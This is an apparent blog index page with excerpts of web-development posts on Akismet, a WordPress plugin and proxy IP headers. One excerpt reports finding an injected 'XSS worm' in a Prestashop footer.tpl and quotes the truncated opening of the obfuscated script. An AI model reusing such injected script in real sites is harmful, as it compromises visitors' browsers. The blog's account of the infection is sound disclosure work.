HOW GEEK!

geek notes for advice seekers

Web applications

Check Akismet queue offline

If you need to run akismet on a big queue, you can do it with this code and run it from the command line. Drop it at the root of your wordpress install (where is wp-config) and run it with the command line php. <?php require_once dirname(__FILE__) . “/wp-load.php”; if(!function_exists(‘get_plugins’)) { require_once ( ABSPATH . […]

Prestashop XSS Worm (footer.tpl virus)

Today i woke up and connected to a Prestashop site i’m setting up. I didn’t install anything extra on it (only my custom template), also it wasn’t in search engines. I noticed a strange blank line in the footer.. DOH! When i looked, i had this code in the footer: <script>String.prototype.asd=function(){return String.fromCharCode;}; Object.prototype.asd=”e”;try{for(i in{})if(~i.indexOf(‘as’))throw 1;} […]

, , , , ,

$_SERVER[‘HTTP_X_FORWARDED_FOR’] returns multiple IPs, what to do?

Before reading this article, you should know that HTTP_X_FORWARDED_FOR should only be used for websites behind a proxy, otherwise you should use REMOTE_ADDR!! This article talks about getting the right visitor IP through HTTP_X_FORWARDED_FOR for applications behind a reverse proxy! You might have faced it as it’s not so well documented. Note that i’m using nginx as […]

, , ,

Dailymotion Videowall WordPress Widget Plugin

I had to create a plugin for WPMU to allow users to add a Dailymotion Videowall in the sidebar. It is available at this page: http://wordpress.org/extend/plugins/dailymotion-videowall-widget/ Stay tuned for a multi-language version! Here’s the link if you want to donate:

, , ,